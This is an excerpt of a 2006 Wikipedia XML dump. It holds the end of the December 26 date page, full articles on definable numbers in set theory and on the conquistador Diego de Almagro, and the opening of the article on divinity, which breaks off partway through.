      <timestamp>2006-03-03T10:55:17Z</timestamp>
      <contributor>
        <username>Skysmith</username>
        <id>6995</id>
      </contributor>
      <minor />
      <comment>typo</comment>
      <text xml:space="preserve">'''[[December 26]]''' is the 360th day of the year in the [[Gregorian Calendar]], 361st in [[leap year]]s. There are 5 days remaining.

{{DecemberCalendar}}

==Events==
*[[1481]] - [[Battle of Westbroek]] - [[Holland]] defeats troops of [[Utrecht (province)|Utrecht]].
*[[1620]] - [[Elizabeth Báthory]]'s crimes are uncovered.
*[[1620]] - [[Pilgrim Fathers]] land at what becomes [[New Plymouth]] in [[Massachusetts]].
*[[1776]] - [[American Revolutionary War]]: The British are defeated in the [[Battle of Trenton]].
*[[1790]] - [[Louis XVI of France]] gives his public assent to [[Civil Constitution of the Clergy]] during the [[French Revolution]].
*[[1792]] - The final trial of [[Louis XVI of France]] begins in [[Paris]].
*[[1793]] - [[Battle of Geisberg (1793)|Battle of Geisberg]]: [[France|French]] defeat [[Austria]]ns.
*[[1793]] - The wedding of Prince [[Friedrich Ludwig of Prussia]] and [[Frederica of Mecklenburg-Strelitz]] takes place.
*[[1825]] - Several [[Imperial Russia]] [[army]] [[commissioned officer|officer]]s lead circa 3000 [[soldier]]s on the Senate Square in the failed [[Decembrist revolt|Decembrist uprising]].
*[[1825]] - The [[Erie Canal]] opens.
*[[1848]] - The [[Phi Delta Theta]] fraternity is founded.
*[[1861]] - [[American Civil War]]: [[Confederate States of America|Confederate]] diplomatic envoys [[James M. Mason]] and [[John Slidell]] are freed by the [[United States]] government, thus heading off a possible war between the United States and [[United Kingdom|Britain]].
*[[1862]] - [[American Civil War]]:  The [[Battle of Chickasaw Bayou]] begins.
*[[1870]] - The 12.8-km long [[Fréjus Rail Tunnel]] through the Alps is completed.
*[[1898]] - [[Maria Sklodowska-Curie|Marie]] and [[Pierre Curie]] announce the isolation of [[radium]].
*[[1908]] - [[Jack Johnson (boxer)|Jack Johnson]] becomes the first [[African American]] [[heavyweight]] [[boxing]] champion by defeating [[Tommy Burns]] in [[Sydney]], [[Australia]].
*[[1916]] - [[Joseph Joffre]] is made [[Marshal of France]].
*[[1925]] - The [[Communist Party of India]] is founded.
*[[1925]] - [[Turkey]] adopts the [[Gregorian Calendar]].
*[[1931]] - The [[Phi Iota Alpha]] fraternity is founded.
*[[1933]] - The [[Nissan Motors|Nissan]] Motor Company is organized in [[Tokyo]], [[Japan]].
*[[1933]] - [[Frequency modulation|FM radio]] is patented.
*[[1943]] - [[World War II]]: The German warship ''[[German battlecruiser Scharnhorst|Scharnhorst]]'' sinks off the coast of North Cape in [[Norway]] after being attacked by the [[British Royal Navy]] late the previous evening. 
*[[1944]] - The play ''[[The Glass Menagerie]]'' by [[Tennessee Williams]] is first publicly performed.
*[[1944]] - [[World War II]]: [[U.S.]] troops repulse [[Germany|German]] forces at [[Bastogne]].
*[[1945]] - [[CFP franc]] and [[CFA franc]] are created.
*[[1946]] - The [[Flamingo Las Vegas|Flamingo Hotel]] opens in [[Las Vegas, Nevada|Las Vegas]].
*[[1947]] - Twenty-six inches of [[snow]] falls in 16 hours in [[New York City]].
*[[1948]] - [[Cardinal Mindszenty]] is arrested in [[Hungary]] and accused of and accused of treason and conspiracy.
*[[1966]] - The first [[Kwanzaa]] is celebrated by [[Maulana Karenga]], the chair of [[Black Studies]] at [[California State University, Long Beach]].
*[[1973]] - [[Comet Kohoutek]] reaches [[perihelion]] but is not such a display as expected.
*[[1973]] - [[Soyuz 13]] lands on [[earth]] after a week in orbit.
*[[1974]] - [[Salyut 4]] is launched.
*[[1975]] - The [[Tupolev Tu-144]] goes into service in [[Soviet Union]].
*[[1976]] - The [[Communist Party of Nepal (Marxist-Leninist)]] is founded.
*[[1979]] - [[Soviet Union|Soviet]] Special forces troops take over presidential palace in [[Kabul]], [[Afghanistan]].
*[[1980]] - [[Aeroflot]] puts the [[Ilyushin Il-86]] into service.
*[[1982]] - ''[[TIME|TIME magazine]]'s'' [[Man of the Year]] was for the first time given to a non-human, the [[personal computer]].
*[[1984]] - [[Princess Astrid of Belgium]] marries Archduke [[Lorenz of Austria-Este]].
*[[1986]] - The first long-running American television [[soap opera]], ''[[Search for Tomorrow]]'', airs its final episode after thirty-five years on the air.
*[[1988]] - The [[Nanjing Anti-African protests]] in [[Nanjing]], [[China]] begin.
*[[1991]] - [[Supreme Soviet]] meets and formally dissolves the [[Soviet Union|USSR]].
*[[1991]] - [[Mount Pinatubo]] erupts.
*[[1996]] - [[JonBenét Ramsey]], a six-year-old [[beauty queen]], is found murdered in her family's basement in [[Boulder, Colorado]].
*[[1996]] - The [[United Nations Convention to Combat Desertification]] goes into force.
*[[1998]] - [[Iraq]] announced its intention to fire upon [[U.S.]] and [[United Kingdom|British]] warplanes that patrol the northern and southern [[Iraqi no-fly zones|no-fly zones]].
*[[1998]] - Severe gales over [[Ireland]], northern [[England]], and southern [[Scotland]] cause widespread disruption and widespread power outages in [[Northern Ireland]] and southern [[Scotland]].
*[[1999]] - Severe weather in [[France]] kills over 100 people and causes extensive damage to property and trees and the French national power grid (see [[Lothar (storm)|Lothar]]).
*[[2002]] - French [[Raelism|Raelian]] [[scientist]] [[Brigitte Boisselier]] says [[Clonaid]] has delivered the first of a supposed five [[Cloning|clone]] babies through [[cesarean section]].
*[[2003]] - A major [[earthquake]] devastates southeast [[Iran]]ian city of [[Bam]], killing tens of thousands and destroying the citadel of [[Arg-é Bam]].
*[[2004]] - An [[2004 Indian Ocean earthquake|earthquake]] measuring 9.0 on the [[Richter magnitude scale]] creates a [[tsunami]] causing devastation in [[Sri Lanka]], [[India]], [[Indonesia]], [[Thailand]], [[Malaysia]], The [[Maldives]] and many other areas around the rim of the [[Indian Ocean]], killing more than 300,000.

==Births==
*[[1194]] - [[Frederick II, Holy Roman Emperor]] (d. [[1250]])
*[[1532]] - [[Guilielmus Xylander]], German classical scholar (d. [[1576]])
*[[1536]] - [[Yi I]], Korean Confucian scholar (d. [[1584]])
*[[1646]] - [[Robert Bolling]], English settler in Virginia (d. [[1709]])
*[[1687]] - [[Johann Georg Pisendel]], German musician (d. [[1755]])
*[[1716]] - [[Thomas Gray]], English writer (d. [[1771]])
*  1716   - [[Jean François de Saint-Lambert]], French poet (d. [[1803]])
*[[1723]] - [[Friedrich Melchior, baron von Grimm]], German writer (d. [[1807]])
*[[1737]] - [[Prince Josias of Coburg]], Austrian general (d. [[1815]])
*[[1751]] - [[Clement Hofbauer]], Austrian missionary and saint (d. [[1820]])
*[[1780]] - [[Mary Somerville|Mary Fairfax Somerville]], British mathematician (d. [[1872]])
*[[1791]] - [[Charles Babbage]], English mathematician and inventor (d. [[1871]])
*[[1819]] - [[E. D. E. N. Southworth]], American novelist (d. [[1899]])
*[[1822]] - [[Dion Boucicault]], Irish actor and playwright (d. [[1890]])
*[[1837]] - [[George Dewey]], U. S. admiral (d. [[1917]])
*[[1853]] - [[René Bazin]], French novelist (d. [[1932]])
*[[1872]] - [[Norman Angell]], British politician, recipient of the [[Nobel Peace Prize]] (d. [[1967]])
*[[1873]] - [[Thomas Wass]], English cricketer (d. [[1953]])
*[[1890]] - [[Uncle Charlie Osborne]], American fiddler (d. [[1992]])
*[[1891]] - [[Henry Miller]], American writer (d. [[1980]])
*[[1893]] - [[Mao Zedong]], Chinese military leader and politician (d. [[1976]])
*[[1903]] - [[Elisha Cook Jr.]], American actor (d. [[1995]])
*[[1904]] - [[Alejo Carpentier]], Cuban writer (d. [[1980]])
*[[1914]] - [[Richard Widmark]], American actor
*[[1921]] - [[Steve Allen]], American actor, comedian, composer, and author (d. [[2000]])
*[[1927]] - [[Alan King]], American comedian and actor (d. [[2004]])
*  1927   - [[Denis Quilley]], British actor (d. [[2003]])
*[[1933]] - [[Ugly Dave Grey]], Australian television personality
*[[1935]] - [[Abdul &quot;Duke&quot; Fakir]], American singer ([[The Four Tops]])
*1935 - [[Norm Ullman]], Canadian [[ice hockey]] player
*[[1937]] - [[Jay Heimowitz]], American poker player
*[[1940]] - [[Edward C. Prescott]], American economist, [[Nobel Prize in Economics|Bank of Sweden Prize]] winner
*  1940   - [[Phil Spector]], American music producer
*[[1942]] - [[Gray Davis]], Governor of California, 1998-2003
*[[1945]] - [[John Walsh]], American talk show host
*[[1947]] - [[Carlton Fisk]], baseball player
*[[1949]] - [[José Ramos Horta]], Foreign Minister of East Timor, recipient of the [[Nobel Peace Prize]]
*[[1954]] - [[Ozzie Smith]], baseball player
*  1954   - [[Steve Steen]], English actor
*[[1955]] - [[Evan Bayh]], U.S. Senator from [[Indiana]]
*[[1956]] - [[David Sedaris]], American essayist
*[[1959]] - [[Koji Morimoto]], Japanese animated film director
*[[1961]] - [[John Lynch (actor)|John Lynch]], Northern Irish actor
*[[1963]] - [[Lars Ulrich]], Danish drummer ([[Metallica]])
*[[1971]] - [[Jared Leto]], American actor
*  1971   - [[Jonathan M. Parisen]], American film director
*[[1976]] - [[Lea De Mae]], Czech actress (d. [[2004]])

==Deaths==
*[[268]] - [[Pope Dionysius]]
*[[418]] - [[Pope Zosimus]]
*[[1458]] - [[Arthur III, Duke of Brittany]] (b. [[1393]])
*[[1476]] - [[Galeazzo Maria Sforza]], Duke of Milan (b. [[1444]])
*[[1530]] - [[Babur]], Emperor of the Mogul empire (b. [[1483]])
*[[1574]] - [[Charles of Guise]], French cardinal (b. [[1524]])
*[[1624]] - [[Simon Marius]], German astronomer (b. [[1573]])
*[[1731]] - [[Antoine Houdar de la Motte]], French writer (b. [[1672]])
*[[1771]] - [[Claude Adrien Helvétius]], French philosopher (b. [[1715]])
*[[1780]] - [[John Fothergill (physician)|John Fothergill]], English physician (b. [[1712]])
*[[1784]] - [[Seth Warner]], American revolutionary leader (b. [[1743]])
*[[1786]] - [[Gasparo Gozzi]], Italian critic and dramatist (b. [[1713]])
*[[1869]] - [[Jean Louis Marie Poiseuille]], French physiologist (b. [[1797]])
*[[1890]] - [[Heinrich Schliemann]], German archaeologist (b. [[1822]])
*[[1909]] - [[Frederic Remington]], American artist (b. [[1861]])
*[[1933]] - [[Anatoly Lunacharsky]], Russian literary critic and politician (b. [[1875]])
*[[1960]] - [[Watsuji Tetsuro]], Japanese philosopher (b. [[1889]])
*[[1963]] - [[George Wagner]], American professional wrestler and television personality (b. [[1915]])
*[[1972]] - [[Harry S. Truman]], 33rd [[President of the United States]] (b. [[1884]])
*[[1973]] - [[Harold B. Lee]], president of [[Church of Jesus Christ of Latter-day Saints|The Church of Jesus Christ of Latter-day Saints]] (b. [[1899]])
*[[1974]] - [[Jack Benny]], American comedian (b. [[1894]])
*[[1977]] - [[Howard Hawks]], American film director and writer (b. [[1896]])
*[[1981]] - [[Savithri]], Telugu, Tamil Actress
*[[1983]] - [[Violet Carson]], [[Order of the British Empire|OBE]], British actress
*[[1985]] - [[Dian Fossey]], American gorilla specialist (b. [[1932]])
*[[1986]] - [[Elsa Lanchester]], British-born actress (b. [[1902]])
*[[1999]] - [[Curtis Mayfield]], American musician (b. [[1942]])
*[[1999]] - [[Shankar Dayal Sharma]], President of India (b. [[1918]])
*[[2000]] - [[Jason Robards]], American actor (b. [[1922]])
*[[2001]] - [[Nigel Hawthorne]], English actor (b. [[1929]])
*[[2002]] - [[Herb Ritts]], American photographer (b. [[1952]])
*  2002   - [[Armand Zildjian]], American cymbal manufacturer (b. [[1921]])
*[[2003]] - Sir [[Alan Bates]], British actor (b. [[1934]])
*[[2004]] - [[Marianne Heiberg]], Norwegian mediator (b. [[1945]])
*2004 - [[Aki Sirkesalo]], Finnish musician (b. [[1962]])
*2004 - [[Reggie White]], American football player (b. [[1961]])
*[[2005]] - [[Kerry Packer]], Australian businessman (b. [[1937]])
*2005 - [[Vincent Schiavelli]], American actor (b. [[1948]])
*2005 [[Erich Topp]], World War Two U-Boat Ace (b. [[1914]])

==Holidays and observances==
December 26 is a public holiday in most Christian countries, a notable exception being the [[United States]] (unless [[Christmas Day]] falls on a [[Sunday]] like it did in [[2005]] and will again in [[2011]], in which it is the observed federal holiday).  In Germany, the Netherlands, Poland, and Scandinavia, Christmas Day and the following day are called First and Second Christmas Day. 
*[[Calendar of Saints|R.C. Saints]] - [[Saint Stephen]]
*[[St. Stephen's Day]], a public holiday in [[Catalonia]], [[Croatia]], [[Czech Republic]], and the [[Republic of Ireland]].
* The first [[twelve days of Christmas|day of Christmas]] in Western [[Christianity]].
*[[Boxing Day]] in the [[Commonwealth of Nations]].
*[[Wrenboys|Wren day]] in Ireland and the [[Isle of Man]].
*[[Australia]] - [[Proclamation Day]] (South Australian [[public holiday]]), for the foundation of the [[Australian states|Australian state]] of [[South Australia]] on [[December 28]] [[1836]] but commemorated on this day.
*[[Holidays in Slovenia|Slovenia]] - [[Independence and Unity Day]] ([[1990]])
*[[Public holidays in South Africa|South Africa]] - Day of Goodwill, a public holiday
*First day of [[Kwanzaa]]
*[[Mandala Pooja]] at [[Sabarimala]] in [[Kerala]], [[India]]
*[[Indonesia]], [[Thailand]], [[Malaysia]] - Tsunami Awareness Day/Tsunami Memorial (or Rememberance) Day

==Other annual occurrences==
*Period of [[Ursids]] [[meteor shower]] ends about this day
*[[Wrenboys]] celebrate [[Wren]] in Ireland
*First day of [[Junkanoo]] street parade in the [[Bahamas]] (the second day is on the [[New Year's Day]])
*The First day of [[Hanukkah]] in the year [[2005]]

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/december/26 BBC: On This Day]
* [http://www.tnl.net/when/12/26 Today in History: December 26]
----

[[December 25]] - [[December 27]] - [[November 26]] - [[January 26]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:26 Desember]]
[[ang:26 Gēolmōnaþ]]
[[ar:26 ديسمبر]]
[[an:26 d'abiento]]
[[ast:26 d'avientu]]
[[bg:26 декември]]
[[be:26 сьнежня]]
[[bs:26. decembar]]
[[ca:26 de desembre]]
[[ceb:Disyembre 26]]
[[cv:Раштав, 26]]
[[co:26 di decembre]]
[[cs:26. prosinec]]
[[cy:26 Rhagfyr]]
[[da:26. december]]
[[de:26. Dezember]]
[[et:26. detsember]]
[[el:26 Δεκεμβρίου]]
[[es:26 de diciembre]]
[[eo:26-a de decembro]]
[[eu:Abenduaren 26]]
[[fo:26. desember]]
[[fr:26 décembre]]
[[fy:26 desimber]]
[[ga:26 Nollaig]]
[[gl:26 de decembro]]
[[ko:12월 26일]]
[[hr:26. prosinca]]
[[io:26 di decembro]]
[[id:26 Desember]]
[[ia:26 de decembre]]
[[is:26. desember]]
[[it:26 dicembre]]
[[he:26 בדצמבר]]
[[jv:26 Desember]]
[[ka:26 დეკემბერი]]
[[csb:26 gòdnika]]
[[ku:26'ê berfanbarê]]
[[la:26 Decembris]]
[[lt:Gruodžio 26]]
[[lb:26. Dezember]]
[[li:26 december]]
[[hu:December 26]]
[[mk:26 декември]]
[[mi:26 Hakihea]]
[[ms:26 Disember]]
[[nap:26 'e dicembre]]
[[nl:26 december]]
[[ja:12月26日]]
[[no:26. desember]]
[[nn:26. desember]]
[[oc:26 de decembre]]
[[os:26 декабры]]
[[pl:26 grudnia]]
[[pt:26 de Dezembro]]
[[ro:26 decembrie]]
[[ru:26 декабря]]
[[se:Juovlamánu 26.]]
[[sco:26 December]]
[[sq:26 Dhjetor]]
[[scn:26 di dicèmmiru]]
[[simple:December 26]]
[[sk:26. december]]
[[sl:26. december]]
[[sr:26. децембар]]
[[su:26 Désémber]]
[[fi:26. joulukuuta]]
[[sv:26 december]]
[[tl:Disyembre 26]]
[[ta:டிசம்பர் 26]]
[[tt:26. Dekäber]]
[[te:డిసెంబర్ 26]]
[[th:26 ธันวาคม]]
[[vi:26 tháng 12]]
[[tr:26 Aralık]]
[[uk:26 грудня]]
[[wa:26 di decimbe]]
[[war:Disyembre 26]]
[[zh:12月26日]]
[[pam:Disiembri 26]]</text>
    </revision>
  </page>
  <page>
    <title>Definable number</title>
    <id>8361</id>
    <revision>
      <id>39006907</id>
      <timestamp>2006-02-10T02:13:35Z</timestamp>
      <contributor>
        <ip>24.63.96.84</ip>
      </contributor>
      <comment>/* Notion does not exhaust &quot;unambiguously described&quot; numbers */</comment>
      <text xml:space="preserve">A [[real number]] ''a'' is '''first-order definable in the language of set theory, without parameters''', if there is a formula ''&amp;phi;'' in the language of [[set theory]], with one [[free variable]], such that ''a'' is the unique real number such that ''&amp;phi;(a)'' holds (in the [[von Neumann universe]] V).

For the purposes of this article, such reals will be called simply '''''definable numbers'''''.  This should not be understood to be standard terminology.

==General facts==

The definable numbers form a [[field (mathematics)|field]] containing all the familiar real numbers such as 0, 1, &amp;pi;, ''e'', et cetera. In particular, it contains all the numbers named in the [[mathematical constants]] article, and all [[algebraic number]]s (and therefore all [[rational number]]s). However, most real numbers are not definable: the [[set]] of all definable numbers is [[countably infinite]] (because the set of all logical formulas is) while the set of real numbers is [[uncountable set|uncountably infinite]] (see [[Cantor's diagonal argument]]). As a result, [[almost all|most]] real numbers have no description (in the same sense of &quot;most&quot; as 'most real numbers are not rational').

The field of definable numbers is not [[complete space|complete]]; there exist convergent [[sequence]]s of definable numbers whose [[limit (mathematics)|limit]] is not definable (since every real number is the limit of a sequence of rational numbers). However, if the sequence itself is definable in the sense that we can specify a single formula for all its terms, then its limit will necessarily be a definable number.

While every [[computable number]] is definable, the converse is not true: [[Chaitin's constant]] is definable but not computable.

One may also talk about definable [[complex number]]s: complex numbers which are uniquely defined by a logical formula. A [[complex number]] is definable if and only if both its real part and its imaginary part are definable. The definable complex numbers also form a field.

The related concept of &quot;standard&quot; numbers, which can only be defined within a finite time and space, is used to motivate axiomatic [[internal set theory]], and provide a workable 
formulation for [[illimited number|illimited]] and [[infinitesimal number]]. Definitions of the hyper-real line within non-standard analysis (the subject area dealing with such numbers) overwhelmingly include the usual, uncountable set of real numbers as a subset.

==Notion does not exhaust &quot;unambiguously described&quot; numbers==
Not every number that we would informally say has been unambiguously described, is definable in the above sense.  For example, we can enumerate all such definable numbers by the [[Gödel number]]s of their defining formulas, and then use [[Cantor's diagonal argument]] to find a particular real that is not first-order definable in the same language.

==Other notions of definability==
The notion of definability treated in this article has been chosen primarily for definiteness, not on the grounds that it's more useful or interesting than other notions.  Here we treat a few others:

===Definability in other languages or structures===
====Language of arithmetic====
The [[language of arithmetic]] has symbols for 0, 1, the successor operation, addition, and multiplication, intended to be interpreted in the usual way over the [[natural number]]s. Since no variables of this language range over the [[real]]s, we cannot simply copy the earlier definition of definability.  Rather, we say that a real ''a'' is '''''definable in the language of arithmetic''''' (or '''''[[arithmetical hierarchy|arithmetical]]''''') if its [[Dedekind cut]] can be defined as a [[predicate]] in that language; that is, if there is a first-order formula ''&amp;phi;'' in the language of arithmetic, with two free variables, such that
: &lt;math&gt;(\forall m)(\forall n)\phi(n,m)\iff\frac{n}{m}&lt;a&lt;/math&gt;

====2&lt;sup&gt;nd&lt;/sup&gt;-order language of arithmetic====
The second-order language of arithmetic is the same as the first-order language, except that variables and quantifiers are allowed to range over sets of naturals.  A real that is second-order definable in the language of arithmetic is called '''''[[analytical hierarchy|analytical]]'''''.

===Definability with ordinal parameters===
Sometimes it is of interest to consider definability ''with parameters''; that is, to give a definition relative to another object that remains undefined.  For example, a real ''a'' (or for that matter, any set ''a'') is called '''''ordinal definable''''' if there is a first-order formula ''&amp;phi;'' in the language of set theory, with ''two'' free variables, and an [[ordinal]] &amp;gamma;, such that ''a'' is the unique object such that ''&amp;phi;''(''a'',&amp;gamma;) holds (in V).

The other sorts of definability thus far considered have only countably many defining formulas, and therefore allow only countably many definable reals.  This is not true for ordinal definability, because an ordinal definable real is defined not only by the formula ''&amp;phi;'', but also by the ordinal &amp;gamma;.  In fact it is consistent with [[ZFC]] that ''all'' reals are ordinal-definable, and therefore that there are uncountably many ordinal-definable reals.  However it is also consistent with ZFC that there are only countably many ordinal-definable reals.

== See also ==
* [[Berry paradox]]
* [[Constructible number]]

[[Category:Set theory]]

[[eo:Difinebla nombro]]</text>
    </revision>
  </page>
  <page>
    <title>Diego de Almagro</title>
    <id>8362</id>
    <revision>
      <id>40811197</id>
      <timestamp>2006-02-23T04:08:54Z</timestamp>
      <contributor>
        <username>Cantus</username>
        <id>46083</id>
      </contributor>
      <text xml:space="preserve">:''For the city in [[Chile]], see'' [[Diego de Almagro, Chile]].

[[Image:almagro.jpg|thumb|250px|Diego de Almagro]]
'''Diego de Almagro''' ([[1475]] &amp;ndash; [[1538]]), also known as '''[[Adelantado|El Adelantado]]''' and '''El Viejo''' (The Elder), was a [[Spain|Spanish]] [[conquistador]] and a companion and rival of [[Francisco Pizarro]]. Born in [[Aldea del Rey]], one account&lt;!--Which?--&gt; states he was a [[foundling]] in the village from which he derived his name. He later lost his left eye battling with coastal natives in the [[New World]].

In [[1525]] he joined the [[Pizarro brothers]] and [[Hernando de Luque]] at [[Panama]] for the conquest of [[Peru]].

Almagro is credited as the European discoverer of [[Chile]]. After the [[Spanish conquest of Peru]], Almagro was dissatisfied that the country had been given to Pizarro without a major role for him. After complaining, he got Spanish royal permission to conquer the region south of Peru. His epic journey south started in [[Cuzco|Cuzco, Peru]].  With the help of Inca Paullu, a son of the Inca ruler [[Huayna Capac]], he led his men over the [[Andes]] mountains, at the latitude of the current city of [[Copiapó]], at a great cost in life. He traveled further south to the Aconcagua river, where hostile [[Mapuche]] Indians forced him to turn back north, without the treasure and riches he had hoped to find. On his voyage north he encountered the [[Atacama desert]], where lack of water and food also took their toll. He never founded a city in the territory of (what is now) [[Chile]].

Upon his return to [[Peru]] in [[1536]], Almagro was bitter and eager to claim the riches of the city of Cuzco for himself. In the previous year, the Inca [[Manco Inca Yupanqui|Manco]] had briefly recaptured the royal city and weakened the Spanish hold in the Sacred Valley.  Hoping to enlist the help of the Inca, Almagro offered [[Manco Inca]] a pardon on behalf of the Spanish government. Manco Inca never officially joined Almagro in his attack on Cuzco.  However, most of [[Hernándo Pizarro]]'s army marched into the [[Andes]] in pursuit of Manco Inca, allowing Almagro's men to claim the city for themselves.

[[Image:Diego-de-Almagro capture.png|thumb|200px|Capture and execution of Diego de Almagro (Engraving, around 1600)]]
The [[Pizarro brothers]] led by Gonzalo defeated and captured Almagro at the [[Battle of Las Salinas]] (near [[Cuzco]]) in April 1538. Almagro was executed three months later in [[July 8]], [[1538]]. His men then turned against [[Francisco Pizarro]] and killed him in [[Lima, Peru|Lima]] in [[1541]].

== El Mozo ==
'''Diego de Almagro II''' ([[1520]]-[[1542]]), known as ''El Mozo'' (The Lad), son of Diego de Almagro I, whose mother was an Indian girl of [[Panama City, Panama|Panama]], became the foil of the conspirators who had put [[Francisco Pizzaro|Pizzaro]] to the sword.  The [[Francisco Pizarro|marquis]] was murdered on June 26, 1541; the conspirators promptly proclaimed the lad Almagro Governor of Peru.  From various causes, all of the conspirators either died or were killed except for one, who was executed after the lad Almagro gave an order.  The lad Almagro fought a desperate battle on September 16, [[1542]], escaped to [[Cusco|Cuzco]], but was arrested, immediately condemned to death, and executed in the great square of the city.

==See also==
*[[History of Chile]]
*[[Pedro de Valdivia]]
*[[Spanish conquest of Peru]]

[[Category:1475 births|Almagro, Diego de]]
[[Category:1538 deaths|Almagro, Diego de]]
[[Category:Spanish explorers and conquistadores|Almagro, Diego de]]
[[Category:City founders|Almagro, Diego de]]
[[Category:History of Chile|Almagro, Diego de]]
[[Category:History of Peru|Almagro, Diego de]]

[[bg:Диего де Алмагро]]
[[ca:Diego de Almagro]]
[[de:Diego de Almagro (Vater)]]
[[es:Diego de Almagro]]
[[fr:Diego de Almagro]]
[[nl:Diego de Almagro]]
[[pl:Diego de Almagro]]
[[pt:Diego de Almagro, o Velho]]
[[sv:Diego de Almagro]]</text>
    </revision>
  </page>
  <page>
    <title>Divinity</title>
    <id>8363</id>
    <revision>
      <id>41473608</id>
      <timestamp>2006-02-27T16:17:36Z</timestamp>
      <contributor>
        <username>Sam Spade</username>
        <id>29048</id>
      </contributor>
      <comment>rv, please re-read the passage</comment>
      <text xml:space="preserve">{{otheruses}}
----
'''Divinity''' and '''divine''' (sometimes 'the Divinity' or 'the Divine'), are broadly applied but loosely defined terms, used variously within different faiths and belief systems &amp;mdash; and even by different individuals within a given faith &amp;mdash; to refer to some transcendent or transcendental power, or its attributes or manifestations in the world.  The root of the words is literally 'Godlike' (from the Latin 'Divus,' closely related to Greek 'Deus'), but the use varies significantly depending on the underlying conception of God that is being invoked.  This article outlines the major distinctions in the conventional use of the terms.

For academic or professional uses of the terms, see [[Divinity (academic discipline)]], or [[Anglican terminology|nomenclature of the Anglican Church]].  

==Usages==
There are three distinct usages of ''divinity'' and ''divine'' in religious discourse: 

:*[[#Divinity as entity|to refer to a deity or godlike being or entity]]
:*[[#Divine force or power|to refer to powers or forces that are universal, or transcend human capacities]]
:*[[#Divinity applied to mortals|to refer to qualities of individuals who are considered to have some special access or relationship to the divine]]

Overlap occurs between these usages because deities or godlike entities are often identical with and/or identified by the powers and forces that are credited to them &amp;mdash; in many cases a deity is merely a power or force personified &amp;mdash; and these powers and forces may then be extended or granted to mortal individuals.  For instance, throughout much of the Old Testament Yahweh is closely associated with storms and thunder: He is said to speak in thunder, and thunder is seen as a token of His anger.  This power was then extended to prophets like Moses and Samuel, who caused thunderous storms to rain down on their enemies.  

Divinity in monotheistic faiths always carries connotations of goodness, beauty, beneficence, justice, and other positive, pro-social attributes.  In these faiths there is an equivalent cohort of malefic supranormal beings and powers, such as demons, devils, afreet, etc., which are not conventionally referred to as divine; ''[[demon|demonic]]'' is often used instead.  Pan- and polytheistic faiths make no such distinction; gods and other beings of transcendent power often have complex, ignoble, or even irrational motivations for their acts.  Note that while the terms ''demon'' and ''demonic'' are used in monotheistic faiths as antonyms to ''divine'', they are in fact derived from the Greek word ''daimón'' (δαίμων), which itself translates as ''divinity''. 

=== Divinity as entity ===
In monotheistic faiths, the word ''divinity'' is often used to refer to the single, supreme being central to that faith.  Often (in English, at any rate), the word takes the definite article and is capitalized &amp;mdash; ''&quot;the Divinity&quot;'' &amp;mdash; as though it were a proper name or definitive honorific.  Thus it is appropriate to speak of Yahweh, Allah, and the Christian God as 'the Divinities' of their particular faiths.  ''Divine'' &amp;mdash; capitalized &amp;mdash; is used as an adjective to refer to the manifestations of such a Divinity or its powers: e.g. &quot;''basking in the Divine presence...''&quot;

The terms ''divinity'' and ''divine'' &amp;mdash; uncapitalized, and lacking the definite article &amp;mdash; are sometimes used as to denote 'god(s)'&lt;sup id=&quot;fn_1_back&quot;&gt;[[#fn_1|(1)]]&lt;/sup&gt; or certain other beings and entities which fall short of godhood but lie outside the human realm.  These include (by no means an exhaustive list):

:*the multiple gods of pan- and polytheistic faiths (as in the ancient Greek or the Hindu pantheons)
:*angels, archangels, cherubim, and other members of the Christian heavenly choir
:*angels and djinn of Muslim tradition
:*elementals such as the dragons of traditional Chinese religion and sylphs and salamanders from Celtic traditions
:*anthropomorphized aspects of nature, like the tree and river spirits of Roman mythology
:*animal beings, many of which populate the stories of Native American and Australian Aboriginal tribes
:*conceptual beings like the Muses and Fates of ancient Greek belief

In certain instances, individual humans are elevated to divine status without becoming actual gods: the eight immortals of taoism, for instance, or the Virgin Mary in the Catholic faith.  Compare with the section on [[#Divinity applied to mortals|divinity and mortals]] given below.

See '''[[god]]''' for further information about deities and divine entities.

=== Divine force or power ===
As previously noted, divinities are closely related to the transcendent force(s) or power(s) credited to them,&lt;sup id=&quot;fn_2_back&quot;&gt;[[#fn_2|(2)]]&lt;/sup&gt; so much so that in some cases the powers or forces may themselves be invoked independently.  This leads to the second usage of the word ''divine'' (and a less common usage of ''divinity''): to refer to the operation of transcendent power in the world.  

In its most direct form, the operation of transcendent power implies some form of divine intervention.  For pan- and polytheistic faiths this usually implies the direct action of one god or another on the course of human events.  In Greek legend, for instance, it was Poseidon (god of the sea) who raised the storms which blew Odysseus' craft off course on his return journey, and Japanese tradition holds that a [[Kamikaze#Origin_of_the_word_Kamikaze|god-sent wind]] saved them from mongol invasion.  Prayers or propitiations are often offered to specific gods of pantheisms to garner favorable interventions in particular enterprises: e.g. safe journeys, success in war, or a season of bountiful crops. Many faiths around the world &amp;mdash; from Japanese Shinto and Chinese traditional religion, to certain African practices and the faiths derived from those in the Caribbean, to Native American beliefs &amp;mdash; hold that ancestral or household spirits offer daily protection and blessings.  In monotheisms divine intervention may take very direct forms: miracles, visions, or intercessions by blessed figures.

Transcendent force or power may also operate through more subtle and indirect paths.  Monotheistic faiths generally support some version of [[divine providence]], which acknowledges that the Divinity of the faith has a profound but unknowable plan always unfolding in the world.   Unforeseeable, overwhelming, or seemingly unjust events are often thrown on 'the will of the Divine,' in deferences like the Muslim ''inshallah'' ('as Allah wills it') and Christian 'God works in mysterious ways.' Often such faiths hold out the possibility of [[divine retribution]] as well, where the Divinity will unexpectedly bring evil-doers to justice through the conventional workings of the world; from the subtle redressing of minor personal wrongs, to such large-scale havoc as the destruction of Sodom and Gomorrah or the biblical Great Flood.  Other faiths are even more subtle: the doctrine of ''[[karma]]'' shared by Buddhism and Hinduism is a divine law similar to divine retribution but without the connotation of punishment: our acts, good or bad, intentional or unintentional, reflect back on us as part of the natural working of the universe.  Philosophical Taoism also proposes a transcendent operant principle &amp;mdash; transliterated in English as ''tao'' or ''dao'', meaning 'the way' &amp;mdash; which is neither an entity or a being per se, but reflects the natural ongoing process of the world.  Modern western mysticism and new age philosophy often use the term 'the Divine' as a noun in this latter sense: a non-specific principle and/or being that gives rise to the world, and acts as the source or wellspring of life.  In these latter cases the faiths do not promote deference, as happens in monotheisms; rather each suggests a path of action that will bring the practitioner into conformance with the divine law: ''ahimsa'' &amp;mdash; 'no harm' &amp;mdash; for Buddhist and Hindu faiths; ''de'' or ''te'' &amp;mdash; 'virtuous action' &amp;mdash; in daoism; and any of numerous practices of peace and love in new age thinking.

